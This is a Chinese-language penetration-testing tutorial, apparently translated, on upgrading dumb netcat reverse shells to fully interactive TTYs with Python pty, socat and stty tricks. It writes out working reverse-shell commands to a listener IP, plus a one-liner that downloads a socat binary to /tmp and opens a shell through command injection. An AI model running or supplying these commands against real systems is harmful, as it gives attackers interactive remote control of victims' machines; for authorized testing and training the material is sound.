将simpleshell提升为全交互式的TTYshell

  • 每个pentester都知道使用netcat获得反向shell并看到该ID的输出令人非常满意的冗长的netcat消息时,会感到非常惊奇。而且,如果其他渗透测试者像我一样,他们也知道失去shell时会感到害怕,因为运行了一个错误的命令,该命令挂起并意外打到“Ctrl-C”,以为它会停止它,但会kill整个连接。

除了不能正确处理SIGINT之外,这些“哑” shell还具有其他缺点:

  • 某些命令(例如su和ssh)需要正确的终端才能运行
  • 通常不显示STDERR
  • 无法正确使用vim等文本编辑器
  • 没有完整制表符
  • 没有向上箭头的历史记录
  • 无工作控制
  • 等等…

长话短说,虽然这些shell非常适合使用,但我宁愿在完全交互式的TTY中操作。

我遇到了一些很好的资源,其中包括用于“升级”这些shell的非常有用的技巧和技术,并且希望在文章中进行编译和共享。还与Pentest Monkey一起,从菲尼亚斯·费舍尔(Phineas Fisher)的录像带和非法活动记录中学习了技巧:

  • Phineas Fisher Hacks Catalan Police Union Website Pt-1
  • Post-Exploitation Without A TTY

生成reverse Shell

每个人都非常熟悉使用netcat获取反向shell的传统方法:

1
nc -e /bin/sh 10.0.3.4 4444
1
nc -lvp 4444

问题是,不是每个服务器都安装了netcat,也不是每个版本的netcat都带有-e选项。

Pentest Monkey的备忘单很棒

Reverse Shell Cheat Sheet

概述了几种不同的方法,但是我最喜欢的技术是使用Metasploit的msfvenom为我生成单行命令。
Metasploit在“cmd/unix”下有多个payload,可用于生成单线正向或反向shell:

这些payload中的任何一个都可以与msfvenom一起使用,以列出所需的原始命令(指定LHOST,LPORT或RPORT)。例如,这是一个不需要-e标志的netcat命令:

这是一个Perl oneliner,以防未安装netcat的情况:

这些都可以通过使用netcat并监听指定的端口(4444)来捕获。

方法1:Python pty模块

捕获一个笨拙的shell之后,很长一段时间以来一直使用的命令之一就是使用Python生成一个pty。pty模块产生一个psuedo-terminal,它可以使su之类的命令误认为它们是在适当的终端中执行的。要升级哑shell,只需运行以下命令:

1
python -c 'import pty; pty.spawn("/bin/bash")'

例如,这将使您运行su(除了为您提供更好的提示之外)

不幸的是,这不能解决上面概述的其他一些问题。SIGINT(Ctrl-C)仍将关闭Netcat,并且没有制表符完成或历史记录。但这是一个快速而又肮脏的解决方法,已为提供了无数次帮助。

方法2:使用socat

socat就像类固醇上的netcat一样,是一种非常强大的网络瑞士军刀。Socat可用于通过TCP连接传递完整的TTY。

如果在受害者服务器上安装了socat,则可以使用它启动reverse shell。还必须抓住与socat的连接才能获得全部功能。

以下命令将产生完全交互式的TTY reverse shell:

On Kali (listen):

1
socat file:`tty`,raw,echo=0 tcp-listen:4444

On Victim (launch):

1
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

如果未安装socat,那么您的运气还不错。有一些独立的二进制文件可以从这个很棒的Github存储库中下载:

https://github.com/andrew-d/static-binaries

使用命令注入漏洞,可以将正确的体系结构socat二进制文件下载到可写的Directoy,对其进行chmod,然后在一行中执行reverse shell:

1
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

在Kali上,您将获得一个完全交互式的TTY会话。它支持制表符补全,SIGINT/SIGSTP支持,vim,向上箭头历史记录等。它是一个完整的终端。很甜.

方法3:使用magic从netcat升级

我看到菲尼亚斯·费舍尔(Phineas Fisher)在他的黑客视频中使用了这种技术,感觉就像魔术一样。基本上,可以通过在您的Kali终端中设置一些stty选项来使用哑的netcat shell升级到完整的TTY。首先,遵循与方法1中相同的技术,并使用Python生成PTY。一旦bash在PTY中运行,请使用Ctrl-Z后台shell

当shell处于后台时,现在检查当前的终端和STTY信息,以便可以强制连接的shell匹配它:

所需的信息是TERM类型(“ xterm-256color”)和当前TTY的大小(“行38;列116”)在shell仍然处于背景中的情况下,现在将当前的STTY设置为raw类型,并使用以下命令告诉它回显输入的字符:

1
stty raw -echo

具有原始风格,输入/输出看起来很奇怪,您不会看到下一个命令,但是当您键入它们时,它们正在被处理。接下来用fg前置shell。它将重新打开reverse shell,但是格式将关闭。最后,使用重置重新初始化终端。

注意:我没有再次键入nc命令(如上图所示)。我实际上输入了fg,但是没有回显。nc命令是现在处于前台的作业。然后将reset命令输入到netcat shell中

重置后,shell应再次看起来正常。最后一步是设置shell,终端类型和样式大小以匹配当前的Kali窗口(来自上面收集的信息)

1
2
3
export SHELL=bash
export TERM=xterm256-color
stty rows 38 columns 116

最终结果是一个完全交互式的TTY,它通过netcat连接具有我们期望的所有功能(选项卡完成,历史记录,作业控制等):

现在的可能性是无止境的。在netcat shell上的Tmux?为什么不?:D

tl; dr速查表

备忘单命令:

  • 使用Python作为伪终端
1
python -c 'import pty; pty.spawn("/bin/bash")'
  • 使用socat
1
2
3
4
5
#Listener:
socat file:`tty`,raw,echo=0 tcp-listen:4444

#Victim:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
  • 使用样式选项
1
2
3
4
5
6
7
8
9
10
11
12
13
# In reverse shell
$ python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z

# In Kali
$ stty raw -echo
$ fg

# In reverse shell
$ reset
$ export SHELL=bash
$ export TERM=xterm-256color
$ stty rows <num> columns <cols>

Enjoy!